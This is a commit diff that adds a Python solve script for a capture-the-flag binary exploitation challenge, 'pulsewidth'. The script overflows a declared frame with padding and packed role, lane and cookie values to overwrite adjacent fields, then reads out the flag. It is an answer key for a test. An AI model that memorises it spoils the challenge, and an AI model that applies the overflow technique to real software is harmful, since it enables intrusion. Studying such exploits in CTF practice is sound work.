Init. Commit

finals/pulsewidth-pwn-easy/solve/solve.py

@@ -0,0 +1,91 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import socket
+import struct
+import subprocess
+import sys
+
+ROLE_ANALYST = 0x4341504C
+LANE_EXPORT = 0x45585054
+AUDIT_COOKIE = 0x2605061337C0FFEE
+
+
+class Tube:
+    def __init__(self, sock=None, proc=None):
+        self.sock = sock
+        self.proc = proc
+
+    def recv(self, n=4096):
+        if self.sock:
+            return self.sock.recv(n)
+        return os.read(self.proc.stdout.fileno(), n)
+
+    def send(self, data):
+        if self.sock:
+            self.sock.sendall(data)
+        else:
+            os.write(self.proc.stdin.fileno(), data)
+
+    def sendline(self, data):
+        self.send(data + b"\n")
+
+    def recvuntil(self, marker):
+        out = b""
+        while marker not in out:
+            chunk = self.recv(1)
+            if not chunk:
+                raise EOFError(out)
+            out += chunk
+        return out
+
+
+def connect(args):
+    if args.local:
+        env = os.environ.copy()
+        env["CTF_FLAG"] = args.flag
+        proc = subprocess.Popen(
+            [args.binary],
+            stdin=subprocess.PIPE,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.STDOUT,
+            env=env,
+        )
+        return Tube(proc=proc)
+
+    sock = socket.create_connection((args.host, args.port), timeout=5)
+    return Tube(sock=sock)
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--host", default="127.0.0.1")
+    parser.add_argument("--port", type=int, default=31337)
+    parser.add_argument("--local", action="store_true")
+    parser.add_argument("--binary", default="../public/pulsewidth")
+    parser.add_argument("--flag", default="caplag{len_folded_into_live_capability}")
+    args = parser.parse_args()
+
+    io = connect(args)
+    io.recvuntil(b">")
+    io.sendline(b"1")
+    io.recvuntil(b"declared frame bytes:")
+    io.sendline(b"320")
+    io.recvuntil(b"payload:")
+
+    payload = b"A" * 64
+    payload += struct.pack("<I", ROLE_ANALYST)
+    payload += struct.pack("<I", LANE_EXPORT)
+    payload += struct.pack("<Q", AUDIT_COOKIE)
+    payload = payload.ljust(320, b"B")
+    io.send(payload)
+
+    io.recvuntil(b">")
+    io.sendline(b"3")
+    data = io.recvuntil(b"}")
+    flag = data[data.rfind(b"caplag{") :].decode()
+    print(flag)
+
+
+if __name__ == "__main__":
+    sys.exit(main())